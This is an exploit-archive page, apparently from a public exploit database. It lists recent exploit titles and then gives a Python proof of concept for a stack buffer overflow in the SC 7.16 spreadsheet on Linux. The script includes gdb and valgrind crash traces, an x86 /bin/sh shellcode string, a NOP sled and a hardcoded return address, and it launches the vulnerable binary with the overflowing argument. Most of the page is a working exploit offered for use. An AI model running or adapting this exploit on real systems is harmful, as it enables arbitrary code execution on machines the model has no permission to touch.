dd3b710ae8
14 changes to exploits/shellcodes Microsoft Windows Kernel - 'NtQueryVirtualMemory(MemoryMappedFilenameInformation)' 64-bit Pool Memory Disclosure Microsoft Windows Kernel - 'NtQueryInformationThread(ThreadBasicInformation)' 64-bit Stack Memory Disclosure Microsoft Windows Kernel - 'nt!KiDispatchException' 64-bit Stack Memory Disclosure Microsoft Windows Kernel - 'nt!NtWaitForDebugEvent' 64-bit Stack Memory Disclosure Internet Explorer - 'RegExp.lastMatch' Memory Disclosure Kamailio 5.1.1 / 5.1.0 / 5.0.0 - Off-by-One Heap Overflow Linux Kernel < 3.5.0-23 (Ubuntu 12.04.2 x64) - 'SOCK_DIAG' SMEP Bypass Local Privilege Escalation Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset' Local Privilege Escalation Linux Kernel < 3.5.0-23 (Ubuntu 12.04.2 x64) - 'SOCK_DIAG' SMEP Bypass Local Privilege Escalation Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset' Local Privilege Escalation Google Software Updater macOS - Unsafe use of Distributed Objects Privilege Escalation Microsoft Windows - Desktop Bridge VFS Privilege Escalation Microsoft Windows - Desktop Bridge Virtual Registry Arbitrary File Read/Write Privilege Escalation Microsoft Windows - Desktop Bridge Virtual Registry NtLoadKey Arbitrary File Read/Write Privilege Escalation Intelbras Telefone IP TIP200 LITE - Local File Disclosure Vehicle Sales Management System - Multiple Vulnerabilities Linux/x86 - execve(/bin/sh) Shellcode (18 bytes)
76 lines
No EOL
2.7 KiB
Python
Executable file
76 lines
No EOL
2.7 KiB
Python
Executable file
# Exploit Author: Juan Sacco - http://www.exploitpack.com <jsacco@exploitpack.com>
|
|
# Bug found using Exploit Pack - Local fuzzer feature.
|
|
#
|
|
# Tested on: GNU/Linux - Kali Linux
|
|
# Filename: pool/main/s/sc/sc_7.16-4+b2_i386.deb
|
|
#
|
|
# Description: SC v7.16 is prone to a basic stack-based buffer overflow
|
|
# vulnerability because the application fails to perform adequate
|
|
# boundary-checks on user-supplied input.
|
|
#
|
|
# An attacker could exploit this issue to execute arbitrary code in the
|
|
# context of the application. Failed exploit attempts will result in a
|
|
# denial-of-service condition.
|
|
#
|
|
# Vendor homepage: SC v7.16 - http://www.ibiblio.org/pub/Linux/apps/financial/spreadsheet/!INDEX.html
|
|
#
|
|
#
|
|
#[----------------------------------registers-----------------------------------]
|
|
#EAX: 0x0
|
|
#EBX: 0x41414141 ('AAAA')
|
|
#ECX: 0x42 ('B')
|
|
#EDX: 0x1
|
|
#ESI: 0x41414141 ('AAAA')
|
|
#EDI: 0x41414141 ('AAAA')
|
|
#EBP: 0x41414141 ('AAAA')
|
|
#ESP: 0xbfffee30 --> 0xbffff100 --> 0xb7fd9000 (jg 0xb7fd9047)
|
|
#EIP: 0x41424344 ('DCBA')
|
|
#EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
|
|
#[-------------------------------------code-------------------------------------]
|
|
#Invalid $PC address: 0x41424344
|
|
#[------------------------------------stack-------------------------------------]
|
|
#0000| 0xbfffee30 --> 0xbffff100 --> 0xb7fd9000 (jg 0xb7fd9047)
|
|
#0004| 0xbfffee34 --> 0x1
|
|
#0008| 0xbfffee38 --> 0x0
|
|
#0012| 0xbfffee3c --> 0x0
|
|
#0016| 0xbfffee40 --> 0xf63d4e2e
|
|
#0020| 0xbfffee44 --> 0xb7fe4bf9 (<do_lookup_x+1689>: add esp,0x20)
|
|
#0024| 0xbfffee48 --> 0x1
|
|
#0028| 0xbfffee4c --> 0x1
|
|
#[------------------------------------------------------------------------------]
|
|
#Legend: code, data, rodata, value
|
|
#Stopped reason: SIGSEGV
|
|
#0x41424344 in ?? ()
|
|
#gdb-peda$ backtrace
|
|
##0 0x41424344 in ?? ()
|
|
##1 0xbffff100 in ?? ()
|
|
#Backtrace stopped: previous frame inner to this frame (corrupt stack?)
|
|
#gdb-peda$
|
|
#
|
|
#==2332==
|
|
#==2332== Jump to the invalid address stated on the next line
|
|
#==2332== at 0x41424344: ???
|
|
#==2332== Address 0x41424344 is not stack'd, malloc'd or (recently) free'd
|
|
#==2332==
|
|
#==2332==
|
|
#==2332== Process terminating with default action of signal 11 (SIGSEGV)
|
|
#==2332== Access not within mapped region at address 0x41424344
|
|
#==2332== at 0x41424344: ???
|
|
import subprocess
|
|
import os
|
|
|
|
buffersize = 1052
|
|
nopsled = "\x90"
|
|
# Shell
|
|
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
|
|
eip = "\x10\xf0\xff\xbf"
|
|
buffer = nopsled * (buffersize-len(shellcode)) + eip
|
|
|
|
try:
|
|
subprocess.call(["/usr/bin/sc", buffer])
|
|
except OSError as e:
|
|
if e.errno == os.errno.ENOENT:
|
|
print "SC binary not found!"
|
|
else:
|
|
print "Error executing exploit"
|
|
raise |